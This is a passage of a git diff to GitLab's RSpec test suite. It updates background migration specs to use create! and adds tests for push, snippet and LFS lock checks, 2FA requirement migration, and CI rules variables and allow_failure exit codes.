it_behaves_like 'handle properties'
@@ -260,7 +260,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'Jira service with nil properties' do
let!(:service) do
- services.create(id: 18, type: 'JiraService', properties: nil, category: 'issue_tracker')
+ services.create!(id: 18, type: 'JiraService', properties: nil, category: 'issue_tracker')
end
it_behaves_like 'handle properties'
@@ -272,7 +272,7 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'Jira service with invalid properties' do
let!(:service) do
- services.create(id: 18, type: 'JiraService', properties: 'invalid data', category: 'issue_tracker')
+ services.create!(id: 18, type: 'JiraService', properties: 'invalid data', category: 'issue_tracker')
end
it_behaves_like 'handle properties'
@@ -284,15 +284,15 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
context 'with Jira service with invalid properties, valid Jira service and valid bugzilla service' do
let!(:jira_service_invalid) do
- services.create(id: 19, title: 'invalid - title', description: 'invalid - description', type: 'JiraService', properties: 'invalid data', category: 'issue_tracker')
+ services.create!(id: 19, title: 'invalid - title', description: 'invalid - description', type: 'JiraService', properties: 'invalid data', category: 'issue_tracker')
end
let!(:jira_service_valid) do
- services.create(id: 20, type: 'JiraService', properties: jira_properties.to_json, category: 'issue_tracker')
+ services.create!(id: 20, type: 'JiraService', properties: jira_properties.to_json, category: 'issue_tracker')
end
let!(:bugzilla_service_valid) do
- services.create(id: 11, type: 'BugzillaService', title: nil, properties: tracker_properties.to_json, category: 'issue_tracker')
+ services.create!(id: 11, type: 'BugzillaService', title: nil, properties: tracker_properties.to_json, category: 'issue_tracker')
end
it 'migrates data for the valid service' do
diff --git a/spec/lib/gitlab/background_migration/migrate_users_bio_to_user_details_spec.rb b/spec/lib/gitlab/background_migration/migrate_users_bio_to_user_details_spec.rb
index 3cec5cb4c35..d90a5d30954 100644
--- a/spec/lib/gitlab/background_migration/migrate_users_bio_to_user_details_spec.rb
+++ b/spec/lib/gitlab/background_migration/migrate_users_bio_to_user_details_spec.rb
@@ -11,17 +11,17 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateUsersBioToUserDetails, :migra
klass
end
- let!(:user_needs_migration) { users.create(name: 'user1', email: 'test1@test.com', projects_limit: 1, bio: 'bio') }
- let!(:user_needs_no_migration) { users.create(name: 'user2', email: 'test2@test.com', projects_limit: 1) }
- let!(:user_also_needs_no_migration) { users.create(name: 'user3', email: 'test3@test.com', projects_limit: 1, bio: '') }
- let!(:user_with_long_bio) { users.create(name: 'user4', email: 'test4@test.com', projects_limit: 1, bio: 'a' * 256) } # 255 is the max
+ let!(:user_needs_migration) { users.create!(name: 'user1', email: 'test1@test.com', projects_limit: 1, bio: 'bio') }
+ let!(:user_needs_no_migration) { users.create!(name: 'user2', email: 'test2@test.com', projects_limit: 1) }
+ let!(:user_also_needs_no_migration) { users.create!(name: 'user3', email: 'test3@test.com', projects_limit: 1, bio: '') }
+ let!(:user_with_long_bio) { users.create!(name: 'user4', email: 'test4@test.com', projects_limit: 1, bio: 'a' * 256) } # 255 is the max
- let!(:user_already_has_details) { users.create(name: 'user5', email: 'test5@test.com', projects_limit: 1, bio: 'my bio') }
- let!(:existing_user_details) { user_details.find_or_create_by(user_id: user_already_has_details.id).update(bio: 'my bio') }
+ let!(:user_already_has_details) { users.create!(name: 'user5', email: 'test5@test.com', projects_limit: 1, bio: 'my bio') }
+ let!(:existing_user_details) { user_details.find_or_create_by!(user_id: user_already_has_details.id).update!(bio: 'my bio') }
# unlikely scenario since we have triggers
- let!(:user_has_different_details) { users.create(name: 'user6', email: 'test6@test.com', projects_limit: 1, bio: 'different') }
- let!(:different_existing_user_details) { user_details.find_or_create_by(user_id: user_has_different_details.id).update(bio: 'bio') }
+ let!(:user_has_different_details) { users.create!(name: 'user6', email: 'test6@test.com', projects_limit: 1, bio: 'different') }
+ let!(:different_existing_user_details) { user_details.find_or_create_by!(user_id: user_has_different_details.id).update!(bio: 'bio') }
let(:user_ids) do
[
diff --git a/spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb b/spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb
index ee0024e8526..36000dc3ffd 100644
--- a/spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb
+++ b/spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb
@@ -63,7 +63,7 @@ RSpec.describe Gitlab::BackgroundMigration::PopulateCanonicalEmails, :migration,
describe 'gracefully handles existing records, some of which may have an already-existing identical canonical_email field' do
let_it_be(:user_one) { create_user(email: "example.user@gmail.com", id: 1) }
let_it_be(:user_two) { create_user(email: "exampleuser@gmail.com", id: 2) }
- let_it_be(:user_email_one) { user_canonical_emails.create(canonical_email: "exampleuser@gmail.com", user_id: user_one.id) }
+ let_it_be(:user_email_one) { user_canonical_emails.create!(canonical_email: "exampleuser@gmail.com", user_id: user_one.id) }
subject { migration.perform(1, 2) }
@@ -79,7 +79,7 @@ RSpec.describe Gitlab::BackgroundMigration::PopulateCanonicalEmails, :migration,
projects_limit: 0
}
- users.create(default_attributes.merge!(attributes))
+ users.create!(default_attributes.merge!(attributes))
end
def canonical_emails(user_id: nil)
diff --git a/spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb b/spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb
new file mode 100644
index 00000000000..bc55f240a58
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::BackgroundMigration::PopulateDismissedStateForVulnerabilities, schema: 2020_11_30_103926 do
+ let(:users) { table(:users) }
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:vulnerabilities) { table(:vulnerabilities) }
+
+ let!(:namespace) { namespaces.create!(name: "foo", path: "bar") }
+ let!(:user) { users.create!(name: 'John Doe', email: 'test@example.com', projects_limit: 5) }
+ let!(:project) { projects.create!(namespace_id: namespace.id) }
+ let!(:vulnerability_params) do
+ {
+ project_id: project.id,
+ author_id: user.id,
+ title: 'Vulnerability',
+ severity: 5,
+ confidence: 5,
+ report_type: 5
+ }
+ end
+
+ let!(:vulnerability_1) { vulnerabilities.create!(vulnerability_params.merge(state: 1)) }
+ let!(:vulnerability_2) { vulnerabilities.create!(vulnerability_params.merge(state: 3)) }
+
+ describe '#perform' do
+ it 'changes state of vulnerability to dismissed' do
+ subject.perform(vulnerability_1.id, vulnerability_2.id)
+
+ expect(vulnerability_1.reload.state).to eq(2)
+ expect(vulnerability_2.reload.state).to eq(2)
+ end
+
+ it 'populates missing dismissal information' do
+ expect_next_instance_of(::Gitlab::BackgroundMigration::PopulateMissingVulnerabilityDismissalInformation) do |migration|
+ expect(migration).to receive(:perform).with(vulnerability_1.id, vulnerability_2.id)
+ end
+
+ subject.perform(vulnerability_1.id, vulnerability_2.id)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb b/spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb
index 1e5773ee16b..4e7872a9a1b 100644
--- a/spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb
+++ b/spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb
@@ -11,8 +11,8 @@ RSpec.describe Gitlab::BackgroundMigration::PopulateMergeRequestAssigneesTable,
let(:user_2) { users.create!(email: 'test2@example.com', projects_limit: 100, username: 'test') }
let(:user_3) { users.create!(email: 'test3@example.com', projects_limit: 100, username: 'test') }
- let(:namespace) { namespaces.create(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create(namespace_id: namespace.id, name: 'foo') }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
let(:merge_requests) { table(:merge_requests) }
let(:merge_request_assignees) { table(:merge_request_assignees) }
@@ -24,7 +24,7 @@ RSpec.describe Gitlab::BackgroundMigration::PopulateMergeRequestAssigneesTable,
source_branch: 'mr name',
title: "mr name#{id}")
- merge_requests.create(params)
+ merge_requests.create!(params)
end
before do
diff --git a/spec/lib/gitlab/background_migration/populate_user_highest_roles_table_spec.rb b/spec/lib/gitlab/background_migration/populate_user_highest_roles_table_spec.rb
index f0b0f77280e..b3cacc60cdc 100644
--- a/spec/lib/gitlab/background_migration/populate_user_highest_roles_table_spec.rb
+++ b/spec/lib/gitlab/background_migration/populate_user_highest_roles_table_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe Gitlab::BackgroundMigration::PopulateUserHighestRolesTable, schem
projects_limit: 0
}.merge(params)
- users.create(user_params)
+ users.create!(user_params)
end
def create_member(id, access_level, params = {})
@@ -30,7 +30,7 @@ RSpec.describe Gitlab::BackgroundMigration::PopulateUserHighestRolesTable, schem
notification_level: 0
}.merge(params)
- members.create(params)
+ members.create!(params)
end
before do
@@ -47,7 +47,7 @@ RSpec.describe Gitlab::BackgroundMigration::PopulateUserHighestRolesTable, schem
create_member(7, 30)
create_member(8, 20, requested_at: Time.current)
- user_highest_roles.create(user_id: 1, highest_access_level: 50)
+ user_highest_roles.create!(user_id: 1, highest_access_level: 50)
end
describe '#perform' do
diff --git a/spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb b/spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb
index 33e1f31d1f1..1c55b50ea3f 100644
--- a/spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb
+++ b/spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb
@@ -91,7 +91,7 @@ RSpec.describe Gitlab::BackgroundMigration::RecalculateProjectAuthorizations, sc
projects_table.create!(id: 1, name: 'project', path: 'project', visibility_level: 0,
namespace_id: shared_group.id)
- group_group_links.create(shared_group_id: shared_group.id, shared_with_group_id: group.id,
+ group_group_links.create!(shared_group_id: shared_group.id, shared_with_group_id: group.id,
group_access: 20)
end
@@ -111,7 +111,7 @@ RSpec.describe Gitlab::BackgroundMigration::RecalculateProjectAuthorizations, sc
shared_project = projects_table.create!(id: 1, name: 'shared project', path: 'shared-project',
visibility_level: 0, namespace_id: another_group.id)
- project_group_links.create(project_id: shared_project.id, group_id: group.id, group_access: 20)
+ project_group_links.create!(project_id: shared_project.id, group_id: group.id, group_access: 20)
end
it 'creates correct authorization' do
@@ -174,7 +174,7 @@ RSpec.describe Gitlab::BackgroundMigration::RecalculateProjectAuthorizations, sc
projects_table.create!(id: 1, name: 'project', path: 'project', visibility_level: 0,
namespace_id: shared_group.id)
- group_group_links.create(shared_group_id: shared_group.id, shared_with_group_id: group.id,
+ group_group_links.create!(shared_group_id: shared_group.id, shared_with_group_id: group.id,
group_access: 20)
end
@@ -192,7 +192,7 @@ RSpec.describe Gitlab::BackgroundMigration::RecalculateProjectAuthorizations, sc
shared_project = projects_table.create!(id: 1, name: 'shared project', path: 'shared-project',
visibility_level: 0, namespace_id: another_group.id)
- project_group_links.create(project_id: shared_project.id, group_id: group.id, group_access: 20)
+ project_group_links.create!(project_id: shared_project.id, group_id: group.id, group_access: 20)
end
it 'does not create authorization' do
diff --git a/spec/lib/gitlab/background_migration/reset_merge_status_spec.rb b/spec/lib/gitlab/background_migration/reset_merge_status_spec.rb
index 43fc0fb3691..2f5074649c4 100644
--- a/spec/lib/gitlab/background_migration/reset_merge_status_spec.rb
+++ b/spec/lib/gitlab/background_migration/reset_merge_status_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe Gitlab::BackgroundMigration::ResetMergeStatus do
let(:namespaces) { table(:namespaces) }
let(:projects) { table(:projects) }
- let(:namespace) { namespaces.create(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create(namespace_id: namespace.id, name: 'foo') }
+ let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
let(:merge_requests) { table(:merge_requests) }
def create_merge_request(id, extra_params = {})
diff --git a/spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb b/spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb
new file mode 100644
index 00000000000..bebb398413b
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::UpdateExistingUsersThatRequireTwoFactorAuth, schema: 20201030121314 do
+ include MigrationHelpers::NamespacesHelpers
+
+ let(:group_with_2fa_parent) { create_namespace('parent', Gitlab::VisibilityLevel::PRIVATE) }
+ let(:group_with_2fa_child) { create_namespace('child', Gitlab::VisibilityLevel::PRIVATE, parent_id: group_with_2fa_parent.id) }
+ let(:members_table) { table(:members) }
+ let(:users_table) { table(:users) }
+
+ subject { described_class.new }
+
+ describe '#perform' do
+ context 'with group members' do
+ let(:user_1) { create_user('user@example.com') }
+ let!(:member) { create_group_member(user_1, group_with_2fa_parent) }
+ let!(:user_without_group) { create_user('user_without@example.com') }
+ let(:user_other) { create_user('user_other@example.com') }
+ let!(:member_other) { create_group_member(user_other, group_with_2fa_parent) }
+
+ it 'updates user when user should not be required to establish two factor authentication' do
+ subject.perform(user_1.id, user_without_group.id)
+
+ expect(user_1.reload.require_two_factor_authentication_from_group).to eq(false)
+ end
+
+ it 'does not update user when user is member of group that requires two factor authentication' do
+ group = create_namespace('other', Gitlab::VisibilityLevel::PRIVATE, require_two_factor_authentication: true)
+ create_group_member(user_1, group)
+
+ subject.perform(user_1.id, user_without_group.id)
+
+ expect(user_1.reload.require_two_factor_authentication_from_group).to eq(true)
+ end
+
+ it 'does not update user who is not in current batch' do
+ subject.perform(user_1.id, user_without_group.id)
+
+ expect(user_other.reload.require_two_factor_authentication_from_group).to eq(true)
+ end
+
+ it 'updates all users in current batch' do
+ subject.perform(user_1.id, user_other.id)
+
+ expect(user_other.reload.require_two_factor_authentication_from_group).to eq(false)
+ end
+
+ it 'does not update user when user is member of group which parent group requires two factor authentication' do
+ group_with_2fa_parent.update!(require_two_factor_authentication: true)
+ subject.perform(user_1.id, user_other.id)
+
+ expect(user_1.reload.require_two_factor_authentication_from_group).to eq(true)
+ end
+
+ it 'does not update user when user is member of group which has subgroup that requires two factor authentication' do
+ create_namespace('subgroup', Gitlab::VisibilityLevel::PRIVATE, require_two_factor_authentication: true, parent_id: group_with_2fa_child.id)
+
+ subject.perform(user_1.id, user_other.id)
+
+ expect(user_1.reload.require_two_factor_authentication_from_group).to eq(true)
+ end
+ end
+ end
+
+ def create_user(email, require_2fa: true)
+ users_table.create!(email: email, projects_limit: 10, require_two_factor_authentication_from_group: require_2fa)
+ end
+
+ def create_group_member(user, group)
+ members_table.create!(user_id: user.id, source_id: group.id, access_level: GroupMember::MAINTAINER, source_type: "Namespace", type: "GroupMember", notification_level: 3)
+ end
+end
diff --git a/spec/lib/gitlab/checks/diff_check_spec.rb b/spec/lib/gitlab/checks/diff_check_spec.rb
index 2cca0aed9c6..f4daafb1d0e 100644
--- a/spec/lib/gitlab/checks/diff_check_spec.rb
+++ b/spec/lib/gitlab/checks/diff_check_spec.rb
@@ -7,7 +7,6 @@ RSpec.describe Gitlab::Checks::DiffCheck do
describe '#validate!' do
let(:owner) { create(:user) }
- let!(:lock) { create(:lfs_file_lock, user: owner, project: project, path: 'README') }
before do
allow(project.repository).to receive(:new_commits).and_return(
@@ -28,13 +27,27 @@ RSpec.describe Gitlab::Checks::DiffCheck do
end
context 'with LFS enabled' do
+ let!(:lock) { create(:lfs_file_lock, user: owner, project: project, path: 'README') }
+
before do
allow(project).to receive(:lfs_enabled?).and_return(true)
end
context 'when change is sent by a different user' do
- it 'raises an error if the user is not allowed to update the file' do
- expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, "The path 'README' is locked in Git LFS by #{lock.user.name}")
+ context 'when diff check with paths rpc feature flag is true' do
+ it 'raises an error if the user is not allowed to update the file' do
+ expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, "The path 'README' is locked in Git LFS by #{lock.user.name}")
+ end
+ end
+
+ context 'when diff check with paths rpc feature flag is false' do
+ before do
+ stub_feature_flags(diff_check_with_paths_changed_rpc: false)
+ end
+
+ it 'raises an error if the user is not allowed to update the file' do
+ expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, "The path 'README' is locked in Git LFS by #{lock.user.name}")
+ end
end
end
@@ -53,6 +66,8 @@ RSpec.describe Gitlab::Checks::DiffCheck do
expect_any_instance_of(Commit).to receive(:raw_deltas).and_call_original
+ stub_feature_flags(diff_check_with_paths_changed_rpc: false)
+
subject.validate!
end
diff --git a/spec/lib/gitlab/checks/push_check_spec.rb b/spec/lib/gitlab/checks/push_check_spec.rb
index 45ab13cf0cf..262438256b4 100644
--- a/spec/lib/gitlab/checks/push_check_spec.rb
+++ b/spec/lib/gitlab/checks/push_check_spec.rb
@@ -18,5 +18,26 @@ RSpec.describe Gitlab::Checks::PushCheck do
expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, 'You are not allowed to push code to this project.')
end
end
+
+ context 'when using a DeployKeyAccess instance' do
+ let(:deploy_key) { create(:deploy_key) }
+ let(:user_access) { Gitlab::DeployKeyAccess.new(deploy_key, container: project) }
+
+ context 'when the deploy key cannot push to the targetted branch' do
+ it 'raises an error' do
+ allow(user_access).to receive(:can_push_to_branch?).and_return(false)
+
+ expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, 'You are not allowed to push code to this project.')
+ end
+ end
+
+ context 'when the deploy key can push to the targetted branch' do
+ it 'is valid' do
+ allow(user_access).to receive(:can_push_to_branch?).and_return(true)
+
+ expect { subject.validate! }.not_to raise_error
+ end
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/checks/snippet_check_spec.rb b/spec/lib/gitlab/checks/snippet_check_spec.rb
index 037de8e9369..89417aaca4d 100644
--- a/spec/lib/gitlab/checks/snippet_check_spec.rb
+++ b/spec/lib/gitlab/checks/snippet_check_spec.rb
@@ -9,19 +9,30 @@ RSpec.describe Gitlab::Checks::SnippetCheck do
let(:user_access) { Gitlab::UserAccessSnippet.new(user, snippet: snippet) }
let(:default_branch) { snippet.default_branch }
+ let(:branch_name) { default_branch }
+ let(:creation) { false }
+ let(:deletion) { false }
- subject { Gitlab::Checks::SnippetCheck.new(changes, default_branch: default_branch, logger: logger) }
+ subject { Gitlab::Checks::SnippetCheck.new(changes, default_branch: default_branch, root_ref: snippet.repository.root_ref, logger: logger) }
describe '#validate!' do
it 'does not raise any error' do
expect { subject.validate! }.not_to raise_error
end
+ shared_examples 'raises and logs error' do
+ specify do
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(instance_of(Gitlab::GitAccess::ForbiddenError), default_branch: default_branch, branch_name: branch_name, creation: creation, deletion: deletion)
+
+ expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, 'You can not create or delete branches.')
+ end
+ end
+
context 'trying to delete the branch' do
let(:newrev) { '0000000000000000000000000000000000000000' }
- it 'raises an error' do
- expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, 'You can not create or delete branches.')
+ it_behaves_like 'raises and logs error' do
+ let(:deletion) { true }
end
end
@@ -29,14 +40,23 @@ RSpec.describe Gitlab::Checks::SnippetCheck do
let(:oldrev) { '0000000000000000000000000000000000000000' }
let(:ref) { 'refs/heads/feature' }
- it 'raises an error' do
- expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, 'You can not create or delete branches.')
+ it_behaves_like 'raises and logs error' do
+ let(:creation) { true }
+ let(:branch_name) { 'feature' }
end
- context "when branch is 'master'" do
- let(:ref) { 'refs/heads/master' }
+ context 'when branch is the same as the default branch' do
+ let(:ref) { "refs/heads/#{default_branch}" }
- it "allows the operation" do
+ it 'allows the operation' do
+ expect { subject.validate! }.not_to raise_error
+ end
+ end
+
+ context 'when snippet has an empty repo' do
+ let_it_be(:snippet) { create(:personal_snippet, :empty_repo) }
+
+ it 'allows the operation' do
expect { subject.validate! }.not_to raise_error
end
end
@@ -45,8 +65,8 @@ RSpec.describe Gitlab::Checks::SnippetCheck do
context 'when default_branch is nil' do
let(:default_branch) { nil }
- it 'raises an error' do
- expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, 'You can not create or delete branches.')
+ it_behaves_like 'raises and logs error' do
+ let(:branch_name) { 'master' }
end
end
end
diff --git a/spec/lib/gitlab/ci/ansi2json/result_spec.rb b/spec/lib/gitlab/ci/ansi2json/result_spec.rb
index 31c0da95f0a..b7b4d6de8b9 100644
--- a/spec/lib/gitlab/ci/ansi2json/result_spec.rb
+++ b/spec/lib/gitlab/ci/ansi2json/result_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Gitlab::Ci::Ansi2json::Result do
{ lines: [], state: state, append: false, truncated: false, offset: offset, stream: stream }
end
- subject { described_class.new(params) }
+ subject { described_class.new(**params) }
describe '#size' do
before do
diff --git a/spec/lib/gitlab/ci/ansi2json/style_spec.rb b/spec/lib/gitlab/ci/ansi2json/style_spec.rb
index d27a642ecf3..ff70ff69aaa 100644
--- a/spec/lib/gitlab/ci/ansi2json/style_spec.rb
+++ b/spec/lib/gitlab/ci/ansi2json/style_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Ci::Ansi2json::Style do
describe '#set?' do
- subject { described_class.new(params).set? }
+ subject { described_class.new(**params).set? }
context 'when fg color is set' do
let(:params) { { fg: 'term-fg-black' } }
@@ -44,7 +44,7 @@ RSpec.describe Gitlab::Ci::Ansi2json::Style do
end
describe 'update formats to mimic terminals' do
- subject { described_class.new(params) }
+ subject { described_class.new(**params) }
context 'when fg color present' do
let(:params) { { fg: 'term-fg-black', mask: mask } }
diff --git a/spec/lib/gitlab/ci/build/artifacts/metadata_spec.rb b/spec/lib/gitlab/ci/build/artifacts/metadata_spec.rb
index 77b8aa1d591..efe99cd276c 100644
--- a/spec/lib/gitlab/ci/build/artifacts/metadata_spec.rb
+++ b/spec/lib/gitlab/ci/build/artifacts/metadata_spec.rb
@@ -142,7 +142,7 @@ RSpec.describe Gitlab::Ci::Build::Artifacts::Metadata do
it 'reads expected number of entries' do
stream = File.open(tmpfile.path)
- metadata = described_class.new(stream, 'public', { recursive: true })
+ metadata = described_class.new(stream, 'public', recursive: true)
expect(metadata.find_entries!.count).to eq entry_count
end
diff --git a/spec/lib/gitlab/ci/build/rules/rule/clause_spec.rb b/spec/lib/gitlab/ci/build/rules/rule/clause_spec.rb
new file mode 100644
index 00000000000..faede7a361f
--- /dev/null
+++ b/spec/lib/gitlab/ci/build/rules/rule/clause_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Build::Rules::Rule::Clause do
+ describe '.fabricate' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:value) { 'some value' }
+
+ subject { described_class.fabricate(type, value) }
+
+ context 'when type is valid' do
+ where(:type, :result) do
+ 'changes' | Gitlab::Ci::Build::Rules::Rule::Clause::Changes
+ 'exists' | Gitlab::Ci::Build::Rules::Rule::Clause::Exists
+ 'if' | Gitlab::Ci::Build::Rules::Rule::Clause::If
+ end
+
+ with_them do
+ it { is_expected.to be_instance_of(result) }
+ end
+ end
+
+ context 'when type is invalid' do
+ let(:type) { 'when' }
+
+ it { is_expected.to be_nil }
+
+ context "when type is 'variables'" do
+ let(:type) { 'variables' }
+
+ it { is_expected.to be_nil }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/build/rules_spec.rb b/spec/lib/gitlab/ci/build/rules_spec.rb
index cbeae33fbcf..a1af5b75f87 100644
--- a/spec/lib/gitlab/ci/build/rules_spec.rb
+++ b/spec/lib/gitlab/ci/build/rules_spec.rb
@@ -104,7 +104,7 @@ RSpec.describe Gitlab::Ci::Build::Rules do
context 'with one rule without any clauses' do
let(:rule_list) { [{ when: 'manual', allow_failure: true }] }
- it { is_expected.to eq(described_class::Result.new('manual', nil, true)) }
+ it { is_expected.to eq(described_class::Result.new('manual', nil, true, nil)) }
end
context 'with one matching rule' do
@@ -171,7 +171,7 @@ RSpec.describe Gitlab::Ci::Build::Rules do
context 'with matching rule' do
let(:rule_list) { [{ if: '$VAR == null', allow_failure: true }] }
- it { is_expected.to eq(described_class::Result.new('on_success', nil, true)) }
+ it { is_expected.to eq(described_class::Result.new('on_success', nil, true, nil)) }
end
context 'with non-matching rule' do
@@ -180,18 +180,60 @@ RSpec.describe Gitlab::Ci::Build::Rules do
it { is_expected.to eq(described_class::Result.new('never')) }
end
end
+
+ context 'with variables' do
+ context 'with matching rule' do
+ let(:rule_list) { [{ if: '$VAR == null', variables: { MY_VAR: 'my var' } }] }
+
+ it { is_expected.to eq(described_class::Result.new('on_success', nil, nil, { MY_VAR: 'my var' })) }
+ end
+ end
end
describe 'Gitlab::Ci::Build::Rules::Result' do
let(:when_value) { 'on_success' }
let(:start_in) { nil }
let(:allow_failure) { nil }
+ let(:variables) { nil }
- subject { Gitlab::Ci::Build::Rules::Result.new(when_value, start_in, allow_failure) }
+ subject(:result) do
+ Gitlab::Ci::Build::Rules::Result.new(when_value, start_in, allow_failure, variables)
+ end
describe '#build_attributes' do
+ let(:seed_attributes) { {} }
+
+ subject(:build_attributes) do
+ result.build_attributes(seed_attributes)
+ end
+
it 'compacts nil values' do
- expect(subject.build_attributes).to eq(options: {}, when: 'on_success')
+ is_expected.to eq(options: {}, when: 'on_success')
+ end
+
+ context 'when there are variables in rules' do
+ let(:variables) { { VAR1: 'new var 1', VAR3: 'var 3' } }
+
+ context 'when there are seed variables' do
+ let(:seed_attributes) do
+ { yaml_variables: [{ key: 'VAR1', value: 'var 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true }] }
+ end
+
+ it 'returns yaml_variables with override' do
+ is_expected.to include(
+ yaml_variables: [{ key: 'VAR1', value: 'new var 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }]
+ )
+ end
+ end
+
+ context 'when there is not seed variables' do
+ it 'does not return yaml_variables' do
+ is_expected.not_to have_key(:yaml_variables)
+ end
+ end
end
end
@@ -200,7 +242,7 @@ RSpec.describe Gitlab::Ci::Build::Rules do
let!(:when_value) { 'never' }
it 'returns false' do
- expect(subject.pass?).to eq(false)
+ expect(result.pass?).to eq(false)
end
end
@@ -208,7 +250,7 @@ RSpec.describe Gitlab::Ci::Build::Rules do
let!(:when_value) { 'on_success' }
it 'returns true' do
- expect(subject.pass?).to eq(true)
+ expect(result.pass?).to eq(true)
end
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/allow_failure_spec.rb b/spec/lib/gitlab/ci/config/entry/allow_failure_spec.rb
new file mode 100644
index 00000000000..7aaad57f5cd
--- /dev/null
+++ b/spec/lib/gitlab/ci/config/entry/allow_failure_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Config::Entry::AllowFailure do
+ let(:entry) { described_class.new(config.deep_dup) }
+ let(:expected_config) { config }
+
+ describe 'validations' do
+ context 'when entry config value is valid' do
+ shared_examples 'valid entry' do
+ describe '#value' do
+ it 'returns key value' do
+ expect(entry.value).to eq(expected_config)
+ end
+ end
+
+ describe '#valid?' do
+ it 'is valid' do
+ expect(entry).to be_valid
+ end
+ end
+ end
+
+ context 'with boolean values' do
+ it_behaves_like 'valid entry' do
+ let(:config) { true }
+ end
+
+ it_behaves_like 'valid entry' do
+ let(:config) { false }
+ end
+ end
+
+ context 'with hash values' do
+ it_behaves_like 'valid entry' do
+ let(:config) { { exit_codes: 137 } }
+ let(:expected_config) { { exit_codes: [137] } }
+ end
+
+ it_behaves_like 'valid entry' do
+ let(:config) { { exit_codes: [42, 137] } }
+ end
+ end
+ end
+
+ context 'when entry value is not valid' do
+ shared_examples 'invalid entry' do
+ describe '#valid?' do
+ it { expect(entry).not_to be_valid }
+ it { expect(entry.errors).to include(error_message) }
+ end
+ end
+
+ context 'when it has a wrong type' do
+ let(:config) { [1] }
+ let(:error_message) do
+ 'allow failure config should be a hash or a boolean value'
+ end
+
+ it_behaves_like 'invalid entry'
+ end
+
+ context 'with string exit codes' do
+ let(:config) { { exit_codes: 'string' } }
+ let(:error_message) do
+ 'allow failure exit codes should be an array of integers or an integer'
+ end
+
+ it_behaves_like 'invalid entry'
+ end
+
+ context 'with array of strings as exit codes' do
+ let(:config) { { exit_codes: ['string 1', 'string 2'] } }
+ let(:error_message) do
+ 'allow failure exit codes should be an array of integers or an integer'
+ end
+
+ it_behaves_like 'invalid entry'
+ end
+
+ context 'when it has an extra keys' do
+ let(:config) { { extra: true } }
+ let(:error_message) do
+ 'allow failure config contains unknown keys: extra'
+ end
+
+ it_behaves_like 'invalid entry'
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/config/entry/bridge_spec.rb b/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
index 8b2e0410474..b3b7901074a 100644
--- a/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/bridge_spec.rb
@@ -227,6 +227,23 @@ RSpec.describe Gitlab::Ci::Config::Entry::Bridge do
end
end
end
+
+ context 'when bridge config contains exit_codes' do
+ let(:config) do
+ { script: 'rspec', allow_failure: { exit_codes: [42] } }
+ end
+
+ describe '#valid?' do
